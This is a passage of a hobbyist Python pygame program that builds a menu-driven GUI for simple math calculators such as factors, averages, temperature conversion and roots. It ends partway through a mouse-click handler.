from sys import exit import pygame import MathStuff as MATH import GUICreator StaticButton = GUICreator.StaticButton DynamicButton = GUICreator.DynamicButton StaticTextButton = GUICreator.StaticTextButton DynamicTextButton = GUICreator.DynamicTextButton class MathStuffGUI: """Create a GUI for my calculators.""" def __init__(self): """Initialize variables.""" pygame.init() self.manage_fps = pygame.time.Clock() self.FPS = 30 # Initialize the screen. display_info = pygame.display.Info() max_width = display_info.current_w max_height = display_info.current_h display_ratio = max_width/max_height if display_ratio <= 16/9: x = int(max_width * 0.8) y = int(max_width/(16/9) * 0.8) else: x = int(max_height*(16/9) * 0.8) y = int(max_height * 0.8) self.screen = pygame.display.set_mode((x, y), pygame.RESIZABLE) pygame.display.set_caption("Math Stuff") self.screen_rect = self.screen.get_rect() self.create_all_gui() self.universal_menu_variables() def run_program(self): """Run the program.""" while True: self.manage_fps.tick(self.FPS) self.get_events() self.update_screen() def universal_menu_variables(self): """Create flags for the menus.""" self.active_menu = 'main_menu' self.active_button = '' self.input_box_1 = '' self.input_box_2 = '' self.input_box_3 = '' self.input_box_4 = '' self.input_box_5 = '' self.input_box_6 = '' self.input_box_7 = '' self.input_box_1_mod = '' self.input_box_2_mod = '' self.input_box_3_mod = '' self.input_box_4_mod = '' self.input_box_5_mod = '' self.input_box_6_mod = '' self.input_box_7_mod = '' self.input_value_1 = 0 self.input_value_2 = 0 self.input_value_3 = 0 self.input_value_4 = 0 self.input_value_5 = 0 self.input_value_6 = 0 self.input_value_7 = 0 self.answer = '' self.answer_text_x_mod = 0 self.hover_text = '' self.input_buttons = 0 def reset_variables(self, menu): """Reset the variables and change the active menu.""" self.active_button = '' self.active_menu = menu self.answer = '' self.input_box_1 = '' self.input_box_2 = '' self.input_box_3 = '' self.input_box_4 = '' self.input_box_5 = '' self.input_box_6 = '' self.input_box_7 = '' self.input_box_1_mod = '' self.input_box_2_mod = '' self.input_box_3_mod = '' self.input_box_4_mod = '' self.input_box_5_mod = '' self.input_box_6_mod = '' self.input_box_7_mod = '' self.input_value_1 = 0 self.input_value_2 = 0 self.input_value_3 = 0 self.input_value_4 = 0 self.input_value_5 = 0 self.input_value_6 = 0 self.input_value_7 = 0 self.answer_text_x_mod = 0 def event_check_number(self, event): """Check that the key that was pressed is valid for a number.""" if (event.unicode == '1' or event.unicode == '2' or event.unicode == '3' or event.unicode == '4' or event.unicode == '5' or event.unicode == '6' or event.unicode == '7' or event.unicode == '8' or event.unicode == '9' or event.unicode == '0' or event.unicode == '.' or event.unicode == '-'): return True else: return False def event_check_letter(self, event): """Check that the key that was pressed is a letter.""" if (event.unicode == 'a' or event.unicode == 'b' or event.unicode == 'c' or event.unicode == 'd' or event.unicode == 'e' or event.unicode == 'f' or event.unicode == 'g' or event.unicode == 'h' or event.unicode == 'i' or event.unicode == 'j' or event.unicode == 'k' or event.unicode == 'l' or event.unicode == 'm' or event.unicode == 'n' or event.unicode == 'o' or event.unicode == 'p' or event.unicode == 'q' or event.unicode == 'r' or event.unicode == 's' or event.unicode == 't' or event.unicode == 'u' or event.unicode == 'v' or event.unicode == 'w' or event.unicode == 'x' or event.unicode == 'y' or event.unicode == 'z' or event.unicode == 'A' or event.unicode == 'B' or event.unicode == 'C' or event.unicode == 'D' or event.unicode == 'E' or event.unicode == 'F' or event.unicode == 'G' or event.unicode == 'H' or event.unicode == 'I' or event.unicode == 'J' or event.unicode == 'K' or event.unicode == 'L' or event.unicode == 'M' or event.unicode == 'N' or event.unicode == 'O' or event.unicode == 'P' or event.unicode == 'Q' or event.unicode == 'R' or event.unicode == 'S' or event.unicode == 'T' or event.unicode == 'U' or event.unicode == 'V' or event.unicode == 'W' or event.unicode == 'X' or event.unicode == 'Y' or event.unicode == 'Z'): return True else: return False # Event handling. def get_events(self): """Get pygame events.""" for event in pygame.event.get(): if event.type == pygame.QUIT: exit() elif event.type == pygame.VIDEORESIZE: self.screen_rect = self.screen.get_rect() self.create_all_gui() elif event.type == pygame.KEYDOWN: self.manage_keydown(event) elif event.type == pygame.KEYUP: self.manage_keyup(event) elif event.type == pygame.MOUSEBUTTONDOWN: self.manage_mousebuttondown(event) elif event.type == pygame.MOUSEBUTTONUP: self.manage_mousebuttonup(event) elif event.type == pygame.MOUSEMOTION: self.manage_mousemotion(event) def manage_mousemotion(self, event): mouse_pos = pygame.mouse.get_pos() if (self.active_menu != 'main_menu' and self.active_menu != 'factors_menu' and self.active_menu != 'converters_menu' and self.active_menu != 'geometry_menu' and self.active_menu != 'algebra_menu' and self.active_menu != 'data_processing_menu'): if self.answer_button.button.collidepoint(mouse_pos): self.hover_text = 'Scroll to move the text left and right.' elif self.calculate_button.button.collidepoint(mouse_pos): self.hover_text = 'Click to calculate answer, or press the enter key.' elif self.back_button.button.collidepoint(mouse_pos): self.hover_text = 'Return to previous menu.' elif self.hover_text_help.button.collidepoint(mouse_pos): self.hover_text = 'Do I need to explain everything?' else: self.hover_text = 'Hover cursor over a button for help.' # Get factors menu. if self.active_menu == 'get_factors_menu': if self.input_button_4.button.collidepoint(mouse_pos): self.hover_text = 'Enter the number you want to factor.' # Maintain ratio menu. elif self.active_menu == 'mar_menu': if self.input_button_1.button.collidepoint(mouse_pos): self.hover_text = 'Width of source surface.' elif self.input_button_3.button.collidepoint(mouse_pos): self.hover_text = 'Height of source surface.' elif self.input_button_5.button.collidepoint(mouse_pos): self.hover_text = 'Width of destination surface.' elif self.input_button_7.button.collidepoint(mouse_pos): self.hover_text = 'Height of destination surface.' # Solid polygon menu. elif self.active_menu == 'solid_polygon_menu': if self.input_button_4.button.collidepoint(mouse_pos): self.hover_text = 'Enter the number of sides of a base.' # Temperature convert menu. elif self.active_menu == 'temp_menu': if self.input_button_2.button.collidepoint(mouse_pos): self.hover_text = 'Original temperature.' elif self.input_button_4.button.collidepoint(mouse_pos): self.hover_text = 'Current temperature scale (F, C, K).' elif self.input_button_6.button.collidepoint(mouse_pos): self.hover_text = 'Temperature scale to convert to (F, C, K).' # Root menu. elif self.active_menu == 'root_menu': if self.input_button_3.button.collidepoint(mouse_pos): self.hover_text = 'Radicand.' elif self.input_button_5.button.collidepoint(mouse_pos): self.hover_text = 'Index.' # Extrapolate menu. elif self.active_menu == 'extrapolate_menu': if self.input_button_1.button.collidepoint(mouse_pos): self.hover_text = 'Start number.' if self.input_button_3.button.collidepoint(mouse_pos): self.hover_text = 'Modifier.' if self.input_button_5.button.collidepoint(mouse_pos): self.hover_text = 'Operation (Add, subtract, multiply, divide, exponent, root).' if self.input_button_7.button.collidepoint(mouse_pos): self.hover_text = 'Number of values from the start number to return.' # Other menus. elif (self.active_menu == 'common_factors_menu' or self.active_menu == 'gcf_menu' or self.active_menu == 'lcf_menu' or self.active_menu == 'average_menu' or self.active_menu == 'median_menu' or self.active_menu == 'mode_menu' or self.active_menu == 'range_menu'): if self.input_button_1.button.collidepoint(mouse_pos): self.hover_text = "First number (You don't need to use all four)." if self.input_button_3.button.collidepoint(mouse_pos): self.hover_text = "Second number (You don't need to use all four)." if self.input_button_5.button.collidepoint(mouse_pos): self.hover_text = "Third number (You don't need to use all four)." if self.input_button_7.button.collidepoint(mouse_pos): self.hover_text = "Fourth number (You don't need to use all four)." def manage_keydown(self, event): """Manage pygame KEYDOWN events.""" if event.key == pygame.K_ESCAPE: exit() # Get factors input menu. elif self.active_menu == 'get_factors_input_1': if event.key == pygame.K_RETURN: if self.input_box_4 != '': self.input_value_4 = int(self.input_box_4) self.answer = str(MATH.get_factors_(self.input_value_4)) self.answer_text_x_mod = 0 self.active_button = '' self.active_menu = 'get_factors_menu' elif event.key == pygame.K_BACKSPACE: self.input_box_4 = self.input_box_4[:-1] elif len(self.input_box_4) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_4 += event.unicode # Common factors input menu. elif (self.active_menu == 'common_factors_input_1' or self.active_menu == 'common_factors_input_2' or self.active_menu == 'common_factors_input_3' or self.active_menu == 'common_factors_input_4'): if event.key == pygame.K_RETURN: value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.common_factors_(value_list)) self.answer_text_x_mod = 0 self.active_menu = 'common_factors_menu' self.active_button = '' if self.active_menu == 'common_factors_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_1 = self.input_box_1[:-1] elif len(self.input_box_1) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_1 += event.unicode elif self.active_menu == 'common_factors_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] elif len(self.input_box_3) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_3 += event.unicode elif self.active_menu == 'common_factors_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] elif len(self.input_box_5) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_5 += event.unicode elif self.active_menu == 'common_factors_input_4': if event.key == pygame.K_BACKSPACE: self.input_box_7 = self.input_box_7[:-1] elif len(self.input_box_7) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_7 += event.unicode # Greatest common factors input menu. elif (self.active_menu == 'gcf_input_1' or self.active_menu == 'gcf_input_2' or self.active_menu == 'gcf_input_3' or self.active_menu == 'gcf_input_4'): if event.key == pygame.K_RETURN: value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.gcf_(value_list)) self.answer_text_x_mod = 0 self.active_menu = 'gcf_menu' self.active_button = '' if self.active_menu == 'gcf_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_1 = self.input_box_1[:-1] elif len(self.input_box_1) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_1 += event.unicode elif self.active_menu == 'gcf_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] elif len(self.input_box_3) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_3 += event.unicode elif self.active_menu == 'gcf_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] elif len(self.input_box_5) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_5 += event.unicode elif self.active_menu == 'gcf_input_4': if event.key == pygame.K_BACKSPACE: self.input_box_7 = self.input_box_7[:-1] elif len(self.input_box_7) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_7 += event.unicode # Least common factors input menu. elif (self.active_menu == 'lcf_input_1' or self.active_menu == 'lcf_input_2' or self.active_menu == 'lcf_input_3' or self.active_menu == 'lcf_input_4'): if event.key == pygame.K_RETURN: value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.lcf_(value_list)) self.answer_text_x_mod = 0 self.active_menu = 'lcf_menu' self.active_button = '' if self.active_menu == 'lcf_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_1 = self.input_box_1[:-1] elif len(self.input_box_1) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_1 += event.unicode elif self.active_menu == 'lcf_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] elif len(self.input_box_3) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_3 += event.unicode elif self.active_menu == 'lcf_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] elif len(self.input_box_5) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_5 += event.unicode elif self.active_menu == 'lcf_input_4': if event.key == pygame.K_BACKSPACE: self.input_box_7 = self.input_box_7[:-1] elif len(self.input_box_7) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_7 += event.unicode # Maintain ratio input menu. elif (self.active_menu == 'mar_input_1' or self.active_menu == 'mar_input_2' or self.active_menu == 'mar_input_3' or self.active_menu == 'mar_input_4'): if event.key == pygame.K_RETURN: if (self.input_box_1 == '' or self.input_box_3 == '' or self.input_box_5 == '' or self.input_box_7 == ''): None else: self.input_value_1 = float(self.input_box_1) self.input_value_3 = float(self.input_box_3) self.input_value_5 = float(self.input_box_5) self.input_value_7 = float(self.input_box_7) source_surf = [self.input_value_1, self.input_value_3] dest_surf = [self.input_value_5, self.input_value_7] try: self.answer = str(MATH.maintain_aspect_ratio_( source_surf, dest_surf)) except ZeroDivisionError: pass self.answer_text_x_mod = 0 self.active_button = '' self.active_menu = 'mar_menu' if self.active_menu == 'mar_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_1 = self.input_box_1[:-1] self.input_box_1_mod = self.input_box_1 elif len(self.input_box_1_mod) >= 7: None elif self.event_check_number(event): if event.unicode == '-': None else: self.input_box_1 += event.unicode self.input_box_1_mod = self.input_box_1 if '.' in self.input_box_1_mod: self.input_box_1_mod = self.input_box_1_mod.replace('.', '') elif self.active_menu == 'mar_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] self.input_box_3_mod = self.input_box_3 elif len(self.input_box_3_mod) >= 7: None elif self.event_check_number(event): if event.unicode == '-': None else: self.input_box_3 += event.unicode self.input_box_3_mod = self.input_box_3 if '.' in self.input_box_3_mod: self.input_box_3_mod = self.input_box_3_mod.replace('.', '') elif self.active_menu == 'mar_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] self.input_box_5_mod = self.input_box_5 elif len(self.input_box_5_mod) >= 7: None elif self.event_check_number(event): if event.unicode == '-': None else: self.input_box_5 += event.unicode self.input_box_5_mod = self.input_box_5 if '.' in self.input_box_5_mod: self.input_box_5_mod = self.input_box_5_mod.replace('.', '') elif self.active_menu == 'mar_input_4': if event.key == pygame.K_BACKSPACE: self.input_box_7 = self.input_box_7[:-1] self.input_box_7_mod = self.input_box_7 elif len(self.input_box_7_mod) >= 7: None elif self.event_check_number(event): if event.unicode == '-': None else: self.input_box_7 += event.unicode self.input_box_7_mod = self.input_box_7 if '.' in self.input_box_7_mod: self.input_box_7_mod = self.input_box_7_mod.replace('.', '') # Solid polygon input menu. elif self.active_menu == 'solid_polygon_input_1': if event.key == pygame.K_RETURN: if self.input_box_4 != '': self.input_value_4 = int(self.input_box_4) self.answer = MATH.solid_polygon_info_(self.input_value_4) self.answer = f'Edges = {self.answer["edges"]}, Vertices = {self.answer["vertices"]}, Faces = {self.answer["faces"]}, Triangles = {self.answer["triangles"]}' self.answer_text_x_mod = 0 self.active_button = '' self.active_menu = 'solid_polygon_menu' elif event.key == pygame.K_BACKSPACE: self.input_box_4 = self.input_box_4[:-1] elif len(self.input_box_4) >= 7: None elif self.event_check_number(event): if event.unicode == '-' or event.unicode == '.': None else: self.input_box_4 += event.unicode # Temperature convert menu. elif (self.active_menu == 'temp_input_1' or self.active_menu == 'temp_input_2' or self.active_menu == 'temp_input_3'): if event.key == pygame.K_RETURN: if (self.input_box_2 == '' or self.input_box_4 == '' or self.input_box_6 == ''): None else: self.input_value_2 = float(self.input_box_2) self.input_value_4 = self.input_box_4.upper() self.input_value_6 = self.input_box_6.upper() self.answer = str(MATH.temperature_convert_(self.input_value_2, self.input_value_4, self.input_value_6)) self.answer_text_x_mod = 0 self.active_button = '' self.active_menu = 'temp_menu' if self.active_menu == 'temp_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_2 = self.input_box_2[:-1] self.input_box_2_mod = self.input_box_2 if '-' in self.input_box_2_mod: self.input_box_2_mod = self.input_box_2_mod.replace('-', '') if '.' in self.input_box_2_mod: self.input_box_2_mod = self.input_box_2_mod.replace('.', '') elif len(self.input_box_2_mod) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' and '-' in self.input_box_2 or event.unicode == '.' and '.' in self.input_box_2): None else: self.input_box_2 += event.unicode self.input_box_2_mod = self.input_box_2 if '-' in self.input_box_2_mod: self.input_box_2_mod = self.input_box_2_mod.replace('-', '') if '.' in self.input_box_2_mod: self.input_box_2_mod = self.input_box_2_mod.replace('.', '') elif self.active_menu == 'temp_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_4 = self.input_box_4[:-1] elif len(self.input_box_4) >= 1: None elif self.event_check_letter(event): if (event.unicode == 'F' or event.unicode == 'f' or event.unicode == 'C' or event.unicode == 'c' or event.unicode == 'K' or event.unicode == 'k'): self.input_box_4 += event.unicode elif self.active_menu == 'temp_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_6 = self.input_box_6[:-1] elif len(self.input_box_6) >= 1: None elif self.event_check_letter(event): if (event.unicode == 'F' or event.unicode == 'f' or event.unicode == 'C' or event.unicode == 'c' or event.unicode == 'K' or event.unicode == 'k'): self.input_box_6 += event.unicode # Root menu. elif (self.active_menu == 'root_input_1' or self.active_menu == 'root_input_2'): if event.key == pygame.K_RETURN: if (self.input_box_3 == '' or self.input_box_5 == ''): None else: self.input_value_3 = float(self.input_box_3) self.input_value_5 = float(self.input_box_5) self.answer = str(MATH.root_(self.input_value_3, self.input_value_5)) self.answer_text_x_mod = 0 self.active_button = '' self.active_menu = 'root_menu' if self.active_menu == 'root_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] self.input_box_3_mod = self.input_box_3 if '-' in self.input_box_3_mod: self.input_box_3_mod = self.input_box_3_mod.replace('-', '') if '.' in self.input_box_3_mod: self.input_box_3_mod = self.input_box_3_mod.replace('.', '') elif len(self.input_box_3_mod) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' and '-' in self.input_box_3 or event.unicode == '.' and '.' in self.input_box_3): None else: self.input_box_3 += event.unicode self.input_box_3_mod = self.input_box_3 if '-' in self.input_box_3_mod: self.input_box_3_mod = self.input_box_3_mod.replace('-', '') if '.' in self.input_box_3_mod: self.input_box_3_mod = self.input_box_3_mod.replace('.', '') if self.active_menu == 'root_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] self.input_box_5_mod = self.input_box_5 if '-' in self.input_box_5_mod: self.input_box_5_mod = self.input_box_5_mod.replace('-', '') if '.' in self.input_box_5_mod: self.input_box_5_mod = self.input_box_5_mod.replace('.', '') elif len(self.input_box_5_mod) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' and '-' in self.input_box_5 or event.unicode == '.' and '.' in self.input_box_5): None else: self.input_box_5 += event.unicode self.input_box_5_mod = self.input_box_5 if '-' in self.input_box_5_mod: self.input_box_5_mod = self.input_box_5_mod.replace('-', '') if '.' in self.input_box_5_mod: self.input_box_5_mod = self.input_box_5_mod.replace('.', '') # Extrapolate menu. elif (self.active_menu == 'extrapolate_input_1' or self.active_menu == 'extrapolate_input_2' or self.active_menu == 'extrapolate_input_3' or self.active_menu == 'extrapolate_input_4'): if event.key == pygame.K_RETURN: check = ['add', 'subtract', 'multiply', 'divide', 'exponent', 'root'] if (self.input_box_1 == '' or self.input_box_3 == '' or self.input_box_5 == '' or self.input_box_5.lower() not in check or self.input_box_7 == ''): None else: try: self.input_value_1 = int(self.input_box_1) self.input_value_3 = int(self.input_box_3) except ValueError: self.input_value_1 = float(self.input_box_1) self.input_value_3 = float(self.input_box_3) self.input_value_5 = self.input_box_5.lower() self.input_value_7 = int(self.input_box_7) self.answer = str(MATH.extrapolate_(self.input_value_1, self.input_value_3, self.input_value_5, self.input_value_7)) self.answer_text_x_mod = 0 self.active_button = '' self.active_menu = 'extrapolate_menu' if self.active_menu == 'extrapolate_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_1 = self.input_box_1[:-1] self.input_box_1_mod = self.input_box_1 if '-' in self.input_box_1_mod: self.input_box_1_mod = self.input_box_1_mod.replace('-', '') if '.' in self.input_box_1_mod: self.input_box_1_mod = self.input_box_1_mod.replace('.', '') elif len(self.input_box_1_mod) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' and '-' in self.input_box_1 or event.unicode == '.' and '.' in self.input_box_1): None else: self.input_box_1 += event.unicode self.input_box_1_mod = self.input_box_1 if '-' in self.input_box_1_mod: self.input_box_1_mod = self.input_box_1_mod.replace('-', '') if '.' in self.input_box_1_mod: self.input_box_1_mod = self.input_box_1_mod.replace('.', '') if self.active_menu == 'extrapolate_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] self.input_box_3_mod = self.input_box_3 if '-' in self.input_box_3_mod: self.input_box_3_mod = self.input_box_3_mod.replace('-', '') if '.' in self.input_box_3_mod: self.input_box_3_mod = self.input_box_3_mod.replace('.', '') elif len(self.input_box_3_mod) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' and '-' in self.input_box_3 or event.unicode == '.' and '.' in self.input_box_3): None else: self.input_box_3 += event.unicode self.input_box_3_mod = self.input_box_3 if '-' in self.input_box_3_mod: self.input_box_3_mod = self.input_box_3_mod.replace('-', '') if '.' in self.input_box_3_mod: self.input_box_3_mod = self.input_box_3_mod.replace('.', '') elif self.active_menu == 'extrapolate_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] elif len(self.input_box_5) >= 8: None elif self.event_check_letter(event): self.input_box_5 += event.unicode elif self.active_menu == 'extrapolate_input_4': if event.key == pygame.K_BACKSPACE: self.input_box_7 = self.input_box_7[:-1] elif len(self.input_box_7) >= 7: None elif self.event_check_number(event): if event.unicode == '-' or event.unicode == '.': None else: self.input_box_7 += event.unicode # Average menu. elif (self.active_menu == 'average_input_1' or self.active_menu == 'average_input_2' or self.active_menu == 'average_input_3' or self.active_menu == 'average_input_4'): if event.key == pygame.K_RETURN: value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.average_(value_list)) self.answer_text_x_mod = 0 self.active_menu = 'average_menu' self.active_button = '' if self.active_menu == 'average_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_1 = self.input_box_1[:-1] elif len(self.input_box_1) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_1 += event.unicode elif self.active_menu == 'average_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] elif len(self.input_box_3) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_3 += event.unicode elif self.active_menu == 'average_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] elif len(self.input_box_5) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_5 += event.unicode elif self.active_menu == 'average_input_4': if event.key == pygame.K_BACKSPACE: self.input_box_7 = self.input_box_7[:-1] elif len(self.input_box_7) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_7 += event.unicode # Median menu. elif (self.active_menu == 'median_input_1' or self.active_menu == 'median_input_2' or self.active_menu == 'median_input_3' or self.active_menu == 'median_input_4'): if event.key == pygame.K_RETURN: value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.median_(value_list)) self.answer_text_x_mod = 0 self.active_menu = 'median_menu' self.active_button = '' if self.active_menu == 'median_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_1 = self.input_box_1[:-1] elif len(self.input_box_1) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_1 += event.unicode elif self.active_menu == 'median_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] elif len(self.input_box_3) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_3 += event.unicode elif self.active_menu == 'median_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] elif len(self.input_box_5) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_5 += event.unicode elif self.active_menu == 'median_input_4': if event.key == pygame.K_BACKSPACE: self.input_box_7 = self.input_box_7[:-1] elif len(self.input_box_7) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_7 += event.unicode # Mode menu. elif (self.active_menu == 'mode_input_1' or self.active_menu == 'mode_input_2' or self.active_menu == 'mode_input_3' or self.active_menu == 'mode_input_4'): if event.key == pygame.K_RETURN: value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.mode_(value_list)) self.answer_text_x_mod = 0 self.active_menu = 'mode_menu' self.active_button = '' if self.active_menu == 'mode_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_1 = self.input_box_1[:-1] elif len(self.input_box_1) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_1 += event.unicode elif self.active_menu == 'mode_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] elif len(self.input_box_3) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_3 += event.unicode elif self.active_menu == 'mode_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] elif len(self.input_box_5) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_5 += event.unicode elif self.active_menu == 'mode_input_4': if event.key == pygame.K_BACKSPACE: self.input_box_7 = self.input_box_7[:-1] elif len(self.input_box_7) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_7 += event.unicode # Range menu. elif (self.active_menu == 'range_input_1' or self.active_menu == 'range_input_2' or self.active_menu == 'range_input_3' or self.active_menu == 'range_input_4'): if event.key == pygame.K_RETURN: value_list = [] if self.input_box_1 != '': self.input_value_1 = int(self.input_box_1) value_list.append(self.input_value_1) if self.input_box_3 != '': self.input_value_3 = int(self.input_box_3) value_list.append(self.input_value_3) if self.input_box_5 != '': self.input_value_5 = int(self.input_box_5) value_list.append(self.input_value_5) if self.input_box_7 != '': self.input_value_7 = int(self.input_box_7) value_list.append(self.input_value_7) if value_list != []: self.answer = str(MATH.range_(value_list)) self.answer_text_x_mod = 0 self.active_menu = 'range_menu' self.active_button = '' if self.active_menu == 'range_input_1': if event.key == pygame.K_BACKSPACE: self.input_box_1 = self.input_box_1[:-1] elif len(self.input_box_1) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_1 += event.unicode elif self.active_menu == 'range_input_2': if event.key == pygame.K_BACKSPACE: self.input_box_3 = self.input_box_3[:-1] elif len(self.input_box_3) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_3 += event.unicode elif self.active_menu == 'range_input_3': if event.key == pygame.K_BACKSPACE: self.input_box_5 = self.input_box_5[:-1] elif len(self.input_box_5) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_5 += event.unicode elif self.active_menu == 'range_input_4': if event.key == pygame.K_BACKSPACE: self.input_box_7 = self.input_box_7[:-1] elif len(self.input_box_7) >= 7: None elif self.event_check_number(event): if (event.unicode == '-' or event.unicode == '.'): None else: self.input_box_7 += event.unicode def manage_keyup(self, event): """Manage pygame KEYUP events.""" None def manage_mousebuttondown(self, event): """Manage pygame MOUSEBUTTONDOWN events.""" mouse_pos = pygame.mouse.get_pos() if self.active_menu == 'main_menu': if self.converters_button.button.collidepoint(mouse_pos): self.active_button = 'converters_button' elif self.factors_button.button.collidepoint(mouse_pos): self.active_button = 'factors_button' elif self.geometry_button.button.collidepoint(mouse_pos): self.active_button = 'geometry_button' elif self.algebra_button.button.collidepoint(mouse_pos): self.active_button = 'algebra_button' elif 